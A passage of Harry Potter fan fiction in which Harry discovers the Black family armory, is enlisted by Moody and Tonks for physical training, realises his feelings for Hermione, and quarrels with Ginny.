of his funk and squeezed her hand, &#8220;Sorry to bring you down, you should go owl your parents now, while I go talk to the grownups.&#8221; He rose to his feet and without a backward glance left the sitting room.</p>\n\n<p>Harry entered the kitchen to find Lupin reading the Daily Prophet, and Moody and Tonks deep in conversation.</p>\n\n<p>&#8220;&#8212;need to set up some kind of training for the kids, something to make them stronger as well as hone their reflexes&#8212; Tonks was saying, but broke off when Harry came in.</p>\n\n<p>&#8220;So, Potter, how is Weasley doing?&#8221; asked Moody.</p>\n\n<p>&#8220;Not good, he only got 7 O.W.L.s, and Dumbledore took away his Prefect badge.&#8221;</p>\n\n<p>&#8220;Ooh, poor Ron, he must be devastated,&#8221; said Tonks.</p>\n\n<p>&#8220;Yeah, he&#8217;s pretty upset about it, and I&#8217;d like to ask the three of you for a couple of favors.&#8221;</p>\n\n<p>&#8220;What kind of favors, Harry?&#8221; said Lupin, looking up from the Daily Prophet.</p>\n\n<p>&#8220;Well, me and Hermione would like for you guys to keep our results to yourselves. I told Ron that I made around the same as him, and Hermione managed an even more vague answer. We don&#8217;t want him to feel bad, so can we keep this all quiet?&#8221; he said.</p>\n\n<p>&#8220;Sure thing, Harry, we won&#8217;t tell a soul,&#8221; Tonks grinned.</p>\n\n<p>Moody gave him a knowing look, &#8220;That&#8217;s only one favor, Potter. What was the other one?&#8221;</p>\n\n<p>Harry rubbed the back of his neck, &#8220;Well, I was thinking that I need something to take Ron&#8217;s mind off his results and losing his badge, so I figured I&#8217;d invite Luna Lovegood and Neville Longbottom to come and stay for a couple of days, and the six of us could go to the cinema, my treat.&#8221;</p>\n\n<p>&#8220;Harry, you know it&#8217;s dangerous to go out,&#8221; Lupin admonished.</p>\n\n<p>&#8220;I know, but I need something to take his mind off stuff, and I also wanted to keep it from being obvious as to what I was doing. I figured if Luna and Neville showed up, then it would look more like going was their idea or something like that.&#8221;</p>\n\n<p>&#8220;It&#8217;s a nice thought, Harry, and I have no problem going and getting them,&#8221; said Tonks.</p>\n\n<p>&#8220;I agree, excellent idea, Harry, I&#8217;ll contact Neville&#8217;s grandmother and Luna&#8217;s father immediately.&#8221;</p>\n\n<p>&#8220;Thank you, Professor.&#8221;</p>\n\n<p>Lupin sighed, &#8220;Harry, you don&#8217;t have to call me, Professor anymore, Moony or Remus will be fine.&#8221;</p>\n\n<p>Harry grinned, &#8220;Sorry, Moon&#8212;er&#8212;Remus.&#8221; He wanted to call his parents&#8217; old friend by his nickname, but it just didn&#8217;t feel right, almost as if it were disrespectful.</p>\n\n<p>&#8220;I don&#8217;t much like the idea of the six of you out in public, but if you promise to be vigilant, I won&#8217;t object,&#8221; said Moody.</p>\n\n<p>Harry smiled, &#8220;Professor, after what I&#8217;ve been through this past year, I can promise you that CONSTANT VIGILANCE is constantly on my mind, and I fully expect you to be keeping an &#8216;eye&#8217; on us anyway.&#8221;</p>\n\n<p>Mad Eye Moody smiled, and the effect was frightening, &#8220;You&#8217;re learning, Potter, you&#8217;re learning. Tonks, let&#8217;s go see what we can do about those exercises we were discussing. &#8221; He clumped out of the room, followed by Tonks.</p>\n\n<p>&#8220;Was that all, Harry?&#8221; asked Lupin.</p>\n\n<p>&#8220;Yeah, thanks.&#8221; </p>\n\n<p>Harry left the kitchen, and began wandering the halls, something he had taken to doing when he first arrived at the house at the beginning of summer. He had decided that this place he would be calling home, needed to be explored, but hadn&#8217;t had the gumption to actually investigate anything, contenting himself with simply walking the halls; it was a way to pace without staying in the same place. He wasn&#8217;t sure when Luna and Neville would arrive, or even if they would, and he figured someone would come find him when they did, so he didn&#8217;t feel bad about exploring the old house. He avoided the cleaned rooms, knowing that a family as dark as the Blacks had been would not have the interesting stuff in plain site. He closed his eyes as he walked, reaching out with his senses, using his magic like a metal detector, and stopping immediately when he realized what he was doing. </p>\n\n<p>Could magic be used in such a fashion? He didn&#8217;t know, but it sure seemed to be working, and since it wasn&#8217;t too taxing on his abilities, he continued. It struck him as he walked, that he had yet to see an armory. All the old manors and mansions in the movies had armories, but <st1:street w:st="on"><st1:address w:st="on">Grimmauld Place</st1:address></st1:street> did not&#8230;or if it did, he had not found it yet. With an actual goal in mind, he set off once more, seeking concentrations of metal.</p>\n\n<p>Harry&#8217;s magic led him throughout the house, into sitting rooms and bathrooms, storage rooms and basements, until finally, he ended up looking at a small doorway set into the wall under the stairs. He shuddered at the memories it brought back of his own cupboard, but this doorway was large, painted to look like the wall, and so artfully done, one wouldn&#8217;t even see it for what it was, even when right up close. He could detect no magic energy surrounding the entrance, so he reached out and felt for a release. But as his fingers came into contact with the wood, a bright blue spark shot out, connecting his fingertips and the doorway and it slowly opened&#8230;</p>\n\n<p>Harry&#8217;s eyes widened, it was huge! The room was laid out like a suburban street, with bushes, and hedges lining the roadside. There were the shadows of what he took to be houses on both sides, and as he stepped over the threshold, the door shut behind him. He had taken two steps in, his head swiveling to take everything in, when suddenly someone shouted.</p>\n\n<p><i>&#8220;STUPEFY!&#8221;</i></p>\n\n<p>A bright beam of red light shot from somewhere on Harry&#8217;s right, but he didn&#8217;t waste time looking for it, he threw himself forward into a dive, landed on his shoulder and rolled behind a bush, his wand out.</p>\n\n<p>&#8220;<i>EXPELLIARMUS!&#8221; </i>another voice cried, and Harry had to roll again. Correctly figuring that his hiding spot had been well spotted before the ambush, he drew his legs up to his chest and launched his body sideways. He rolled to his feet and ran as fast as he could for a large hedgerow where one set of the beams seemed to be coming from. Beams hit the ground near him, but he didn&#8217;t slow down, ducking and weaving, zigging and zagging, he sped up. At full speed, he leaped over the hedgerow, turning in midair he landed with his wand aimed at the person hidden behind it.</p>\n\n<p>&#8220;Hi, Tonks!&#8221;</p>\n\n<p>&#8220;Wotcher, Harry, looks like you got me,&#8221; Tonks lowered her wand. &#8220;Nice dodging back there, where&#8217;d you learn stuff like that?&#8221;</p>\n\n<p>Harry was about to respond, but a cold voice spoke up from behind him. &#8220;Is this what you call CONSTANT VIGILANCE?&#8221;</p>\n\n<p>&#8220;Sorry, Professor, I figured that since Tonks gave up the exercise or whatever you call this is, was over.&#8221;</p>\n\n<p>&#8220;Boy, nothing is ever over until all your enemies are down. What you should have done, was stunned her as soon as your feet touched down, then using her hiding place started shooting at me until you ascertained where I was,&#8221; Moody growled.</p>\n\n<p>Harry looked around, &#8220;What is this place, Professor?&#8221;</p>\n\n<p>Moody waved his wand, and they were suddenly standing in a large cavernous room with suits of armor lining the walls, padded suits in cabinets, and row upon row of weapons racks.</p>\n\n<p>&#8220;Welcome to the Black Family Armory, boy.&#8221;</p>\n\n<p>&#8220;But I thought that armories were just rooms with weapons,&#8221; said Harry, &#8220;I had no idea that they could be training facilities as well!&#8221;</p>\n\n<p>&#8220;Normally they&#8217;re not,&#8221; said Tonks. &#8220;Wizards never train their bodies, relying on magic to enhance their speed and agility, but through tests, we&#8217;ve learned that those Aurors that were Muggleborn and had access to physical training did much better than regular Aurors that had none. Case in point, the way you dove and rolled to avoid the beams, a normal wizard would have just used a shield charm.&#8221;</p>\n\n<p>&#8220;I understand,&#8221; said Harry.</p>\n\n<p>&#8220;Good, because you&#8217;re going to help us test your friends,&#8221; said Moody. &#8220;If Granger, the two Weasleys, Longbottom, and Lovegood had been physically fit, then they would have done better at the Ministry.&#8221;</p>\n\n<p>Harry felt his face get red. The reason they had been at the Ministry was his fault, and even though they had not been that fit, both Hermione and Neville had done a good job, and Luna had been the only one to come out completely unscathed.</p>\n\n<p>&#8220;So,&#8221; continued Moody, &#8220;you, me, and Tonks are going to whip them into shape&#8230;the hard way.&#8221;</p>\n\n<p>Harry frowned, &#8220;Er...Professor&#8230;Shouldn&#8217;t I train with them?&#8221;</p>\n\n<p>&#8220;You will be, Potter, but not at first,&#8221; growled Moody. &#8220;I&#8217;ve watched you, and I&#8217;ve listened to every account of the fight at the Ministry, and it all points to you surviving numerous attacks because you used cover, and you used your agility to avoid incoming curses and hexes. I&#8217;ve been in the business a long time, I know how Wizards fight, and you don&#8217;t fight like a Wizard. If we&#8217;re gonna win this war, then we can&#8217;t fight like the enemy expects us to, we have to change our styles. You&#8217;ve already done this, and once we&#8217;ve taught you all we know, you&#8217;ll be able to help us teach your friends, and when you start that D.A. thing again, you&#8217;ll have some new stuff to show them.&#8221;</p>\n\n<p>Harry sighed, &#8220;What did you have in mind for me?&#8221;</p>\n\n<p>Moody turned to Tonks, &#8220;What&#8217;s the word?&#8221;</p>\n\n<p>&#8220;Boot camp,&#8221; said Tonks, no trace of humor on her face at all. &#8220;First thing in the morning, I&#8217;ll come and get you, and we&#8217;ll do several rounds of running and jumping, diving and rolling. I&#8217;ll be firing, you&#8217;ll of course, be the one doing all the hard work. After three hours of that, the rest of the day is yours, but the sooner you get in shape, the sooner you can get your friends involved.&#8221;</p>\n\n<p>&#8220;Why exactly do I have to go first though?&#8221;</p>\n\n<p>&#8220;You&#8217;ve got the instincts, Potter, and we&#8217;ll need someone to demonstrate the activities, and even though you&#8217;re pretty strong, you are by far the most malnourished of all, this will give you a chance to put on some much needed muscle and weight,&#8221; said Moody. </p>\n\n<p>&#8220;Oh,&#8221; said Harry, beginning to feel like he had been drafted.</p>\n\n<p>&#8220;I know this seems like a lot, Harry, but believe me, once you start doing all the work, you&#8217;ll be thankful we allowed you the chance to get into shape. Besides,&#8221; Tonks grinned, &#8220;you wouldn&#8217;t want to look weak in front of your friends, now would you?&#8221;</p>\n\n<p>&#8220;No, no I wouldn&#8217;t.&#8221;</p>\n\n<p>&#8220;Alright, it&#8217;s settled then, I&#8217;ll see you first thing in the morning.&#8221;</p>\n\n<p>Harry raised an eyebrow, &#8220;What time is, &#8216;first thing in the morning?&#8217;&#8221;</p>\n\n<p>Tonks smiled broadly, &#8220;Let&#8217;s just say, you might not want to stay up too late.&#8221;</p>\n\n<p>&#8220;Great,&#8221; Harry muttered, turning around and leaving the room. &#8220;Why did I ever have to go in there?&#8221;</p>\n\n<p>&#8220;They would have gotten you even if you hadn&#8217;t,&#8221; said Lupin, setting in a chair and reading a book. He set it down and looked up at Harry. &#8220;I take it they&#8217;ve set every thing up?&#8221;</p>\n\n<p>&#8220;Yeah, and whether I like it or not, looks like I just got volunteered to get up very early and get shot at.&#8221;</p>\n\n<p>Lupin smiled, &#8220;Just console yourself with the fact that your friends will be undergoing the same thing, only you&#8217;ll be one of those firing at them.&#8221;</p>\n\n<p>Harry grinned, &#8220;I know.&#8221;</p>\n\n<p>&#8220;By the way, Miss Lovegood and Mister Longbottom are in the kitchen with Hermione.&#8221;</p>\n\n<p>&#8220;Still no sign of Ron?&#8221;</p>\n\n<p>&#8220;No,&#8221; Lupin shook his head. &#8220;Hermione said she heard voices in his room, so he and Ginny must be there. She said that they ignored her when she knocked, so she came back downstairs.&#8221;</p>\n\n<p>&#8220;Okay, thanks.&#8221;</p>\n\n<p>***</p>\n\n<p>Harry entered the kitchen to find Neville eating a bowl of cereal, and Hermione and Luna discussing Crumple Horned Snorkacks. He snorted to himself at Hermione trying desperately to keep her irritation from her voice as she tried for the nth time to tell Luna that there was no such thing. Luna, as was her way, just shrugged it off.</p>\n\n<p>&#8220;You can&#8217;t prove they don&#8217;t exist, Hermione,&#8221; said Luna, crossing her arms across her chest.</p>\n\n<p>&#8220;And <i>you</i> can&#8217;t prove that they <i>do</i>!&#8221; Hermione slammed her hand down on the table and shot to her feet. &#8220;I don&#8217;t want to argue with you, Luna, but there is no record of those creatures anywhere!&#8221;</p>\n\n<p>Luna looked down at her <i>Quibbler</i>, &#8220;Perhaps you haven&#8217;t looked in the right places.&#8221;</p>\n\n<p>Hermione threw her hands up, &#8220;I give up! You want to believe that there are Crumple Horned Snorkacks running around, fine, have at it!&#8221;</p>\n\n<p>Harry took that opportunity to slip in unnoticed, and placed a restraining hand on Hermione&#8217;s shoulder. </p>\n\n<p>&#8220;Easy, Hermione,&#8221; he whispered, and she flashed him a small smile. &#8220;Luna, Neville, glad you could make it!&#8221; he said.</p>\n\n<p>&#8220;Thanks for the invitation,&#8221; said Luna. &#8220;Do you know if Ronald will be coming down any time soon?&#8221;</p>\n\n<p>Harry shook his head, &#8220;No, Luna, I don&#8217;t. You&#8217;re more than welcome to go try and get him though.&#8221;</p>\n\n<p>Luna stood up, &#8220;Thanks, I think I&#8217;ll just go do that,&#8221; she said, and left the room.</p>\n\n<p>Neville finished drinking the milk in his bowl, &#8220;Thanks for inviting me, Harry.&#8221;</p>\n\n<p>&#8220;No problem, Neville,&#8221; Harry shrugged.</p>\n\n<p>&#8220;So, why am I here?&#8221;</p>\n\n<p>&#8220;Funny you should ask,&#8221; Harry&#8217;s mind raced. He couldn&#8217;t very well tell Neville about Ron&#8217;s bad results, so he wracked his brain for something that Neville could help with, without it being an obvious fabrication. His eyes alit on something outside the kitchen window, and he grinned, &#8220;I was outback yesterday, and I noticed an old greenhouse behind the shed, I think I saw some of that <i>Mimbletonia</i><i>\n\n</i>plant inside, and figured that since you&#8217;re so good in Herbology, you might like to fix it up or something.&#8221;</p>\n\n<p>Neville&#8217;s eyes lit up, &#8220;Really? Wow! Gee, thanks, Harry! D&#8217;you mind if I go take a look at it?&#8221;</p>\n\n<p>Harry waved a hand, &#8220;Nah, I have no use for it, so consider it yours.&#8221;</p>\n\n<p>Neville started to say something else, but Harry waved him off. &#8220;Go on, have fun.&#8221;</p>\n\n<p>&#8220;Thanks, Harry!&#8221; Neville was out the door like a shot.</p>\n\n<p>&#8220;That was very nice of you, Harry,&#8221; Hermione smiled.</p>\n\n<p>Harry turned to face her, &#8220;I have to talk to you.&#8221;</p>\n\n<p>Hermione&#8217;s smile vanished at his tone, &#8220;What is it, Harry?&#8221;</p>\n\n<p>Harry started to pace, &#8220;Moody and Tonks want the six of us to start training. They&#8217;re starting with me in the morning, and when I&#8217;ve gotten it down, I&#8217;m to invite the rest of you. It&#8217;s obstacles, running, diving, stuff like that.&#8221;</p>\n\n<p>&#8220;Why are you telling me this, now? If they wish to teach you first, before the rest of us, shouldn&#8217;t you wait until you&#8217;ve learned it before telling me?&#8221;</p>\n\n<p>Harry shook his head, &#8220;No, I&#8217;m not keeping anything from you. You above everyone else have been the most loyal to me, and I will not betray that loyalty by hiding things from you.&#8221;</p>\n\n<p>&#8220;Oh, Harry,&#8221; Hermione&#8217;s eyes filled with tears and she flung herself into his arms. </p>\n\n<p>Harry hugged her back, &#8220;It means a lot to me that you are the only person that has never lied to me or let me down in any way, and I know I&#8217;ve hid things from you in the past, and I&#8217;ve lied to you to avoid you getting on my case about something, but that&#8217;s not going to happen anymore. I lost Sirius because I didn&#8217;t listen to you, and&#8230;&#8221; Harry wasn&#8217;t sure if he couldn&#8217;t finish because Hermione&#8217;s arms around his neck tightened, cutting off his air, or because his throat had tightened with emotions he knew he couldn&#8217;t voice yet. </p>\n\n<p>&#8220;Well, isn&#8217;t this a lovely sight?&#8221; Ron&#8217;s voice intruded on their moment, and they broke apart, looking to where he stood glaring, a frowning Ginny and a smiling Luna, flanking him. &#8220;What&#8217;s got you two so cozy all of a sudden?&#8221;</p>\n\n<p>Harry thought quickly, he couldn&#8217;t tell Ron what he had told Hermione, because like it or not, Ron had let him down in the past. He found himself going with the first thing to enter his head. &#8220;Professor McGonagall wants to continue the D.A. and she&#8217;s going to pay Hermione to teach it,&#8221; he said, sliding into a lie quicker and smoother than he would have ever thought possible.</p>\n\n<p>Ron frowned, &#8220;Oh really? I thought you were the teacher of the D.A. and Hermione was just another one of the students.&#8221;</p>\n\n<p>Harry shook his head, &#8220;No, no, I&#8217;m just the practical instructor, Hermione is the teacher. She&#8217;s the one that has to find all the new spells and such.&#8221;</p>\n\n<p>&#8220;So once again, it&#8217;s you two leading and the rest of us following,&#8221; Ron snorted.</p>\n\n<p>&#8220;Well, they are the best in the school,&#8221; said Neville, coming in from outside, his hands and clothes dirty. &#8220;It&#8217;s really no wonder, Ron, they&#8217;re awesome as individuals, but when they work together, no one stands a chance against them. You should have seen them fighting Death Eaters in the Department of Mysteries, they were spectacular!&#8221; he finally noticed the two girls with Ron and his cheeks reddened. &#8220;Uh&#8230;hi, Ginny,&#8221; he said.</p>\n\n<p>&#8220;Hi, Neville,&#8221; said Ginny. &#8220;Where have you been?&#8221;</p>\n\n<p>&#8220;Harry told me about the greenhouse out back, so I&#8217;ve been out there looking around.&#8221;</p>\n\n<p>&#8220;Looks more like you were rolling around,&#8221; grumbled Ron, still frowning at Harry and Hermione. Neville looked hurt at his words, and both Ginny and Hermione gasped.</p>\n\n<p>&#8220;Ron!&#8221; Harry snapped. </p>\n\n<p>&#8220;Ronald, that was not nice,&#8221; said Luna, her smile slipping.</p>\n\n<p>Ron spun on his heel and left the room, Luna went after him.</p>\n\n<p>&#8220;I&#8217;m sorry, Neville,&#8221; said Ginny. &#8220;He didn&#8217;t do very well on his O.W.L.s and Professor Dumbledore took away his Prefect badge, he&#8217;s not taking it very well, sorry.&#8221; She hurried after Ron and Luna. </p>\n\n<p>&#8220;How many did he get?&#8221; Neville asked, going to the sink and washing his hands.</p>\n\n<p>&#8220;Seven,&#8221; Harry muttered.</p>\n\n<p>&#8220;D&#8217;you think it might cheer him up to find out that I only got six?&#8221;</p>\n\n<p>&#8220;I hate to say it, because you shouldn&#8217;t be used to make someone else feel better about themselves, but it might,&#8221; said Hermione, a frown on her face.</p>\n\n<p>&#8220;Hermione&#8217;s right, Neville, you shouldn&#8217;t be made to feel bad just to make Ron feel better.&#8221;</p>\n\n<p>Neville shrugged, &#8220;It&#8217;s okay, I&#8217;m used to it.&#8221;</p>\n\n<p>&#8220;No, it&#8217;s not okay,&#8221; said Harry. &#8220;He&#8217;s been a prat all morning because of those stupid results.&#8221;</p>\n\n<p>&#8220;Harry,&#8221; said Hermione. &#8220;You know he just needs time to deal with it.&#8221;</p>\n\n<p>&#8220;Yeah well, time is something we don&#8217;t have. I start my training tomorrow, and I can guarantee that when I finish for the day, I&#8217;m not going to be in any mood to put up with his whining.&#8221;</p>\n\n<p>&#8220;What training?&#8221; Neville asked.</p>\n\n<p>&#8220;With Tonks and Moody,&#8221; said Harry. &#8220;They intend on whipping us all into shape.&#8221;</p>\n\n<p>&#8220;Really? Cool!&#8221;</p>\n\n<p>&#8220;But not at first. First they want to work with Harry, so you&#8217;ll have plenty of time to get the greenhouse into shape.&#8221;</p>\n\n<p>Neville&#8217;s eyes grew bright, &#8220;I&#8217;m going to start right now!&#8221; He rushed back outside and Harry was left alone with Hermione again.</p>\n\n<p>&#8220;I need to ask you to do something for me.&#8221;</p>\n\n<p>&#8220;Anything.&#8221;</p>\n\n<p>&#8220;Start getting yourself in shape, sit ups, push ups, crunches, running, whatever you can think of. Tonks called it boot camp, and from her description, it&#8217;s gonna be a nightmare. They&#8217;re giving me the extra time to get in shape because I don&#8217;t have as much muscle mass as I should, due to my treatment at the Dursleys&#8217; all these years. I&#8217;m giving you and only you this warning, so keep it quiet.&#8221;</p>\n\n<p>&#8220;Thank you, Harry. I&#8217;ll do as much as I can to get ready. I won&#8217;t let you down.&#8221;</p>\n\n<p>&#8220;You never have,&#8221; he said, and quickly, before he could change his mind, he stepped in and planted a kiss on her cheek, &#8220;you never have,&#8221; he breathed into her ear, then stepping around her, almost afraid to see her reaction, he hurried from the kitchen.</p>\n\n<p>***</p>\n\n<p>Harry wandered aimlessly, his mind turning over the recent events. He wondered what was going on. First, he had a really weird dream that had something to do with Hermione, and it wasn&#8217;t like the one last year where Cho had turned into her. Then, when he saw her, he had found himself comparing the two Hermiones, the one in his dream and the real one. Something was shifting, he could sense something growing between them, and he could feel it every time he met her eyes, every time he found himself watching her do the most mundane tasks. If asked at the beginning of last year, he would have chalked it up to plain old fashioned hormones, he was a red-blooded male, and Hermione was far from unattractive, a fact he had had slammed into his head at the Yule Ball in 4<sup>th</sup> year. </p>\n\n<p>He blew it off though, still too hung up on that crybaby, Cho. But his reaction to Hermione, as well as Cho&#8217;s and Ron&#8217;s had thrown everything out of kilter. Cho felt he was two-timing her with Hermione, and then Ron started acting like he wasn&#8217;t happy that Hermione spent so much of her time with Harry. Harry of course couldn&#8217;t figure what they were upset about, he knew that he and Hermione were just friends, but when he played back various scenes from 5<sup>th</sup> year, he had to admit that there was something there, hidden deep in his subconscious, something that had made him count a Hermione covered in cat hair as one of his worst memories, something that had made him stand barehanded in front of a giant, ready to do whatever it took to keep her safe, and that same thing had caused him to freeze in the middle of a fight, something that he had never done before. When it played back in his head, he was amazed that he had lived through it.</p>\n\n<p>Whatever <i>it</i> was, he was conscious of it now, and he finally realized that <i>it</i> was what made him watch her, made him want to keep her safe, made him admit to her and her alone, that he wasn&#8217;t going to be an Auror, made him warn her about the training, and above all else, made him tell her how much her loyalty meant to him. He had found himself wanting to say more, but his emotions were in turmoil. It&#8217;s not easy for one to realize that they are in love with their best friend.</p>\n\n<p>Harry stopped dead in his tracks. The revelation of what he felt shocked him, and almost before it had settled, an incredibly joyous feeling shot through him, followed by one of liquid ice. But he knew nothing of love, so how would he know if and when he had fallen into it? He shook his head; he had to get rid of such thoughts immediately! If Voldemort ever found out, Hermione would be in even more danger than she was already. He knew from experience that Hermione would not allow him to make such a decision for her, and he resolved not to tell her. He also decided that he would not conceal his attraction, nor his affection, but he would dampen it, put it on low heat and bring it to a boil slowly, that way he could keep a rein on his feelings, letting them out slowly. If he did it right, he figured he would be able to show her he cared without actually coming out and saying he was in love with her. That should at least take care of this coming year, and with his life the way it was, all he could do was take it one year at a time and hope for the best. Of course, now he understood why Dumbledore had done the things he had done. It wasn&#8217;t easy to love someone and keep them safe at the same time.</p>\n\n<p>Harry was unaware of when he had started walking again, but he immediately knew where he had ended up. He pushed open the door to Buckbeak&#8217;s room, bowing to the big male hippogriff inside. When the creature returned the bow, he made his way over to it and settled down, stroking the animal&#8217;s neck while he contemplated his problem.</p>\n\n<p><i>&#8220;Problems, you mean.&#8221;</i></p>\n\n<p>&#8220;Yeah, problems.&#8221;</p>\n\n<p><i>&#8220;You know she would be furious if she finds out what you&#8217;re doing.&#8221;</i></p>\n\n<p>&#8220;I know, but I can&#8217;t take a chance on something happening to her. I can&#8217;t lose her.&#8221;</p>\n\n<p><i>&#8220;What about her, Harry? Are you going to stand in the way of her happiness?&#8221;</i></p>\n\n<p>&#8220;What do you mean?&#8221;<i></i></p>\n\n<p><i>&#8220;If you&#8217;re showing her that you care, then she&#8217;s going to think you care, then, knowing her, she is going to wonder why you won&#8217;t ask her out or anything.&#8221;</i></p>\n\n<p>&#8220;I&#8217;m going to ask her out. I&#8217;m going to be her best friend, and I&#8217;m going to be the best best friend I can. I&#8217;m going to help her with her elf hats, I&#8217;m going to set up late studying with her, you name it and I&#8217;m going to do it.&#8221;<i></i></p>\n\n<p><i>&#8220;Are you going to tell her how you feel?&#8221;</i></p>\n\n<p>&#8220;No, not for a while, not until I know that I can keep her safe.&#8221;</p>\n\n<p><i>&#8220;Are you going to be her boyfriend?&#8221;</i></p>\n\n<p>&#8220;Not exactly, but I will be as much of one as I can.&#8221;</p>\n\n<p><i>&#8220;Are you going to kiss her, hold her, stroke her hair, take away her worries?&#8221;</i></p>\n\n<p>&#8220;I don&#8217;t really know. I want to, God knows, I want to.&#8221;</p>\n\n<p><i>&#8220;Then you have to tell her.&#8221;</i></p>\n\n<p>&#8220;I will! Just not yet.&#8221;</p>\n\n<p>Buckbeak gave Harry a look that seemed to question his sanity for talking to himself, but he ignored it, focusing instead upon his internal discussion with Hermione&#8217;s voice.</p>\n\n<p><i>&#8221;Fine, then we do this right, no half arsed attempts.&#8221;</i></p>\n\n<p>&#8220;I wouldn&#8217;t have it any other way.&#8221;</p>\n\n<p><i>&#8220;The first thing you must do is control Ron. He drives her nuts with all his arguing and bad manners and such. If you truly love her, you must run interference; prevent Ron from pushing her buttons, while at the same time making it seem perfectly natural.&#8221;</i></p>\n\n<p>&#8220;Got it, I was gonna be doin&#8217; that anyway.&#8221;</p>\n\n<p><i>&#8220;Good. Next thing is Hogsmeade visits, you have to think of ways to get her to go with you without asking for a romantic date, but turning it into one all the same.&#8221;</i></p>\n\n<p>&#8220;That may be a little tough, but I&#8217;ll figure it out.&#8221;</p>\n\n<p><i>&#8220;Next, you must, and I cannot stress this enough, you must show her that she is appreciated, both her intelligence and her beauty.&#8221;</i></p>\n\n<p>&#8220;If you don&#8217;t mind my asking this, how in the Hell did I get so bloody smart when it comes to women?&#8221;</p>\n\n<p><i>&#8220;Easy, you listened to Hermione.&#8221;</i></p>\n\n<p>&#8220;But&#8212;but we&#8217;ve never had this conversation before!&#8221;</p>\n\n<p><i>&#8220;You didn&#8217;t have to. You just picked up on what she truly meant when she berated Ron for his insensitivity in 4<sup>th</sup> year, as well as all the times after. You&#8217;ve got a good memory, Harry, you just fail to utilize it. I guess it helps that it&#8217;s Hermione though, so even though you do not realize you&#8217;re memorizing what she says, you are. Or as Professor McGonagall said, &#8216;at least you listen to Hermione Granger&#8217;, right?&#8221;</i></p>\n\n<p>Harry smiled to himself, &#8220;Yeah, I guess so.&#8221;</p>\n\n<p><i>&#8220;You have to tell her about the prophecy too.&#8221;</i></p>\n\n<p>Harry sat up straight in surprise. &#8220;Where did that come from?&#8221;</p>\n\n<p><i>&#8220;You have to; otherwise you&#8217;ll be betraying her loyalty.&#8221;</i></p>\n\n<p>&#8220;That is not fair! I&#8212;</p>\n\n<p><i>&#8220;I&#8217;m your conscience; I don&#8217;t have to be fair.&#8221;</i></p>\n\n<p>&#8220;That&#8217;s bullsh&#8212;</p>\n\n<p>&#8220;Harry! Who are you talking to?&#8221; asked Ginny, from outside.</p>\n\n<p>&#8220;Nobody!&#8221; Harry growled, irritated at the interruption. &#8220;I&#8217;m just&#8212;never mind, just, please leave me alone.&#8221;</p>\n\n<p>&#8220;Harry, I can listen if you need to talk, Hermione&#8217;s not the only one with a pair of ears, you know.&#8221; </p>\n\n<p>The doorknob started to turn, and Harry jumped up and flicked the lock. Ginny finished turning the knob, and pushed against the door; Harry heard her grunt when it didn&#8217;t move. </p>\n\n<p>&#8220;I asked you to leave me alone.&#8221;</p>\n\n<p>&#8220;Really, Harry, you can talk to the rest of us too! I know what it&#8217;s like to lose someone, my grandfather died when I was 7, and I know what it&#8217;s like to breakup with someone, remember I broke up with Michael? You <i>can</i> talk to me.&#8221;</p>\n\n<p>&#8220;What if I don&#8217;t want to?&#8221;</p>\n\n<p>&#8220;Why wouldn&#8217;t you? I can help! I&#8217;ve helped you before!&#8221;</p>\n\n<p>&#8220;That&#8217;s okay, Ginny, the last time I talked to you about something important, you gave me the wrong information.&#8221;</p>\n\n<p>The door thumped as a foot came into contact with it. &#8220;Harry Potter! You know good and well that my information was not wrong!&#8221;</p>\n\n<p>&#8220;Actually, you were as wrong as wrong could be. I was being possessed, but in a different way than you had been. And, just because you were taken over by a memory, don&#8217;t try to think that gives you insight into what I&#8217;ve gone through by being taken over by the man, no, monster, himself! So just leave me alone, Ginny, if I want to talk to someone, it will be Hermione or Luna, they at least understand <i>me</i>.&#8221;</p>\n\n<p>&#8220;Well I never!&#8221; Ginny was furious, he could tell it in her voice, and strangely enough, that thought didn&#8217;t bother him at all. &#8220;I&#8217;m not going to stand here arguing with a door! I don&#8217;t care if I do get a warning from the Ministry about underage magic! <i>Alohamora</i>!&#8221;</p>\n\n<p>&#8220;<i>Colloportus</i><i>!&#8221;</i> Harry said, and the door that had been coming open, slammed shut with considerable force. &#8220;There, maybe that will get the message across! I don&#8217;t want you to bother me, so go away!&#8221;</p>\n\n<p>&#8220;<i>Alohamora</i><i>! Alohamora!</i>&#8221; Ginny screamed, then banged on the door, kicking and pounding with feet and fists.</p>\n\n<p>&#8220;You&#8217;ll never get in, Ginny,&#8221; said Harry. &#8220;You&#8217;re nowhere near my equal; I don&#8217;t care how powerful your Bat Bogey Hex is.&#8221;</p>\n\n<p>&#8220;You just wait, Harry Potter!&#8221;</p>\n\n<p>&#8220;Ginny, I&#8217;ve been under constant threat of death for nigh on six years. Your pitiful threats are laughable, now please go away.&#8221;</p>\n\n<p>Ginny screamed, and Harry heard running footsteps, and then Ron&#8217;s voice, followed closely by Hermione and Luna.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; Ron roared.</p>\n\n<p>Ginny was crying now, and she sobbed out the story, Harry remaining silent while he listened closely from inside the room.</p>\n\n<p>&#8220;Is this true, Harry? Did you say those things to Ginny?&#8221; Ron shouted.</p>\n\n<p>Harry sighed and opened the door, &#8220;Look, Ron, I told her I didn&#8217;t want to be bothered, she kept on, even trying to open the door after I locked it. I admit that I said some things I probably shouldn&#8217;t have said, and for that I apologize, but I asked her to leave me alone and respect my wish for privacy, and she wouldn&#8217;t do it.&#8221;</p>\n\n<p>&#8220;I just wanted to talk to you about the things that bother you,&#8221; Ginny wailed, and Harry winced, noticing for the first time that Ginny didn&#8217;t cry like Hermione, she cried like Cho.</p>\n\n<p>&#8220;Listen closely, all of you. When I say, leave me alone, I mean it! If I want to talk, I will, but not a moment sooner. And when I do choose to talk, I&#8217;ll let you know if it&#8217;s you that I wish to talk to.&#8221;</p>\n\n<p>&#8220;She was just trying to help, Harry, you had no call to treat her so badly!&#8221;</p>\n\n<p>&#8220;Ron, I already apologized, and yet, she has yet to apologize for intruding and refusing to leave me alone, but I guess I&#8217;m the only one in the wrong here, right?&#8221;</p>\n\n<p>&#8220;Ron, take Ginny downstairs,&#8221; said Luna.</p>\n\n<p>&#8220;But&#8230;&#8221;</p>\n\n<p>&#8220;Do it, Ron!&#8221; ordered Hermione.</p>\n\n<p>&#8220;C&#8217;mon, Ronald, I&#8217;ll go with you.&#8221;</p>\n\n<p>&#8220;Yeah, leave <i>Hermione</i> to deal with Harry,&#8221; Ginny sneered over her shoulder as Ron and Luna led her away.</p>\n\n<p>Hermione watched them go, then turned to Harry, an exasperated sigh escaping her lips. &#8220;Harry, what has gotten into you?&#8221;</p>\n\n<p>&#8220;Like I said, she 